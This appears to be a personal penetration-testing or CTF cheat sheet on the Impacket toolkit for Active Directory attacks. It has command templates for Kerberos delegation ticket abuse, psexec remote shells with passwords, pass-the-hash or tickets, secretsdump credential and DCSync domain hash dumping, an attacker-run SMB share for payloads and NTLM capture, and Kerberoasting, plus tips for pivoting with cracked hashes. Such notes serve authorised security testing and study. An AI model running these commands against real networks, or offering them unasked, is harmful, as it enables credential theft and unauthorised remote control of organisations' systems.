Impacket
Table of Contents
Collection of Python classes/scripts for working with network protocols directly — the standard toolkit for AD attack chains involving Kerberos ticket manipulation, SMB, and remote execution. Most-used scripts documented below; each is a separate executable, not subcommands of one binary.
Related: [[Denote query for ‘20260721T210000’]] BloodHound Mimikatz Proxy CTF
Installation
pipx install impacket # or pip install impacket --break-system-packages
Scripts are typically invoked as impacket-<scriptname> when
installed via pipx/pip, or directly as <scriptname>.py if run from
a cloned repo.
Key Scripts
getST — constrained delegation / S4U ticket abuse
impacket-getST -spn <service>/<host> -impersonate <target_user> \ <domain>/<account>:'<password>' -dc-ip $DC
Outputs a .ccache file. See
[[Denote query for ‘20260721T210000’]] for the full
abuse chain.
psexec — remote command execution / shell
# password auth impacket-psexec <domain>/<user>:'<password>'@$IP # pass the hash impacket-psexec -hashes :<ntlm_hash> <domain>/<user>@$IP # using a Kerberos ticket (from getST or similar) export KRB5CCNAME=<ticket>.ccache impacket-psexec -k -no-pass $IP
secretsdump — credential/hash extraction
impacket-secretsdump <domain>/<user>:'<password>'@$IP impacket-secretsdump -just-dc <domain>/<user>:'<password>'@$DC impacket-secretsdump -k -no-pass $DC # via loaded Kerberos ticket
smbserver — quick attacker-controlled SMB share
sudo impacket-smbserver -smb2support <sharename> $(pwd)
Used both for hosting payloads and for capturing inbound NTLM authentication (see [[Denote query for ‘20260721T211000’]]).
GetUserSPNs — Kerberoasting
impacket-GetUserSPNs <domain>/<user>:'<password>' -dc-ip $DC -request
Tips
-k -no-passpattern is consistent across scripts for using a loaded Kerberos ticket ($KRB5CCNAME) instead of a password/hash — worth remembering this once, applies broadly- Kerberos-based operations (getST,
-kflag usage) need the target hostname resolvable — add it to/etc/hostsif not using proper DNS, IP alone will not satisfy SPN matching secretsdump -just-dcis the fastest route to a full domain hash dump once DCSync-capable credentials are held — no need forpsexecfirst if that's the only goal- All scripts accept credentials in
domain/user:passwordor-hashes LM:NTLMform interchangeably — useful when pivoting from a cracked hash straight into the next tool without re-typing plaintext